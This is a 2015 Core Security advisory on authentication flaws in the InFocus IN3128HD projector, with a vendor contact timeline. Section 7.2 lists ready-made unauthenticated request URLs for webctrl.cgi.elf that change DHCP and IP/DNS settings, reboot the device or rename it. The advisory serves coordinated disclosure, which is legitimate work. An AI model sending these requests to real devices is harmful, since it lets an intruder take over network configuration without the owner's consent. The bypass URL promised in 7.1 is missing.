1. Advisory Information
Title: InFocus IN3128HD Projector Multiple Vulnerabilities
Advisory ID: CORE-2015-0008
Date published: 2015-04-27
Date of last update: 2015-04-22
Vendors contacted: InFocus
Release mode: User release
2. Vulnerability Information
Class: Authentication Bypass Using an Alternate Path or Channel [CWE-288], Missing Authentication for Critical Function [CWE-306]
Impact: Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2014-8383, CVE-2014-8384
3. Vulnerability Description
The InFocus  IN3128HD brings 1080p projection into the classroom with a bright 4000-lumen display, versatile connections and smart networking features. It's portable enough to go from room to room, yet powerful enough to be installed.
The InFocus IN3128HD  Projector is vulnerable to an authentication bypass in its web interface login page, and is missing authentication for the "webctrl.cgi.elf" CGI file, which allows several actions to be performed or configured inside the device.
4. Vulnerable Packages
- InFocus IN3128HD v0.26 Firmware
Other products and versions might be affected too, but they were not tested.
5. Vendor Information, Solutions and Workarounds
Core Security recommends affected users avoid connecting their vulnerable devices to a remotely accessible network.
Contact the vendor for further information.
This vulnerability was discovered and researched by Joaquin Rodriguez Varela from Core Security CoreLabs Team. The publication of this advisory was coordinated by the Core Security Advisories Team.
7. Technical Description / Proof of Concept Code
7.1. Authentication Bypass in web server interface
The InFocus IN3128HD projector web server interface requires an admin password in order to view or modify the device configuration parameters. The vulnerability [CVE-2014-8383] is caused by a user's ability to bypass the login page (index.html) by knowing the name of the page (main.html) to which a logged user is forwarded after entering the correct password. The restricted pages contain no control whatsoever of logged or unauthenticated users. The login only checks the entered password and does not generate a session cookie if the user logs in correctly. The following URL allows an alternate preauth path to the restricted section:
This allows an unauthenticated user to access the device as an administrator and to see private information such as network configuration (network mask, DNS server, gateway, etc), WiFi configuration (including password), and the ability to modify any of these parameters.
7.2. Missing Authentication for Critical CGI file
The vulnerability [CVE-2014-8384] is caused by a missing authentication mechanism for the "webctrl.cgi.elf" CGI file, which is used by the web server to apply configuration changes. This file is located inside the "cgi-bin" folder, and is accessible by any unauthenticated user, allowing it to perform several configuration modifications and actions inside the projector.
Here are some examples of what can be done remotely and without authentication if the following URLs are used:
Modify any parameter in the DHCP Server configuration: http://<Projector-web-interface-IP>/cgi-bin/webctrl.cgi.elf?&t:26,c:5,p:525294,s:00011&t:26,c:5,p:525295,s:0009<START-IP>&t:26,c:5,p:525296,s:0011<END-IP>&t:26,c:5,p:525297,s:0013<SUBNET-MASK-IP>&t:26,c:5,p:525298,s:0011<DEFAULT-GATEWAY-IP>&t:26,c:5,p:525299,s:0012<DNS-SERVER-IP> Modify any parameter in the device IP configuration (DNS server as well): http://<Projector-web-interface-IP>/cgi-bin/webctrl.cgi.elf?&t:26,c:5,p:525288,s:0006static&t:26,c:5,p:525289,s:0007<IP-ADDRESS>&t:26,c:5,p:525290,s:0013<SUBNET-MASK-IP>&t:26,c:5,p:525291,s:0007<DEFAULT-GATEWAY-IP>&t:26,c:5,p:525292,s:0007<DNS-SERVER-IP> Remotely reboot the device (not only the web server): http://<Projector-web-interface-IP>/cgi-bin/webctrl.cgi.elf?&t:26,c:5,p:720896 Change the device hostname: http://<Projector-web-interface-IP>/cgi-bin/webctrl.cgi.elf?&t:26,p:589826,c:5,s:0006<NEW-HOSTNAME>
Several other actions and configurations can be performed using this CGI file, but is trivial to detail all of them considering that are the same actions a user can perform from the web interface.
8. Report Timeline
- 2015-04-07: Core Security sent an initial notification to InFocus.
- 2015-04-13: Core Security sent another notification to InFocus using their online contact support form .
- 2015-04-14: Core Security tried to contact InFocus employees using LinkedIn without success.
- 2015-04-16: Core Security contacted InFocus using Twitter and requested an email address that could be used to contact them.
- 2015-04-16: InFocus replied using their official Twitter account indicating that product support questions should be directed to the form at infocus.com/support/ or email@example.com.
- 2015-04-16: Core Security sent another email to the provided email requesting an answer.
- 2015-04-20: Core Security sent another email to the provided email account stating that an answer had not yet been received, and if that was still true on Friday, April 24, Core Security would be forced to publish its findings on Monday, April 27.
- 2015-04-21: Core Security contacted InFocus again using Twitter and explained that multiple attempts to contact them had been performed without any luck and requested a response.
- 2015-04-21: InFocus replied using their official Twitter account asking us to provide an email account so a support representative could contact us.
- 2015-04-21: Core Security provided the official advisories email in order to be contacted by an InFocus representative.
- 2015-04-22: InFocus sent an email stating that they were requested by their public relations department to contact Core Security. They asked Core to send them the draft version of the advisory.
- 2015-04-22: Core Security explained that it is not recommended to send this kind of information in plain text and asked if they could use PGP to send encrypted emails. In case they didn't want to use encrypted communications, Core was willing to send the draft advisory in plain text.
- 2015-04-22: InFocus informed Core Security that they no longer had any desire to see the information (advisory) and told Core to publish it if we felt it necessary.
- 2015-04-22: Core Security replied to InFocus that Core regretted their decision and that Core's only objective is to make users safer. We informed them that we will now have to make a user-release of the advisory without giving their affected users an alternative to solve the issues.
- 2015-04-27: Advisory CORE-2015-0008 published.
10. About CoreLabs
CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: www.coresecurity.com/core-labs.
11. About Core Security
Core Security enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. www.coresecurity.com.
The contents of this advisory are copyright (c) 2015 Core Security and (c) 2015 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/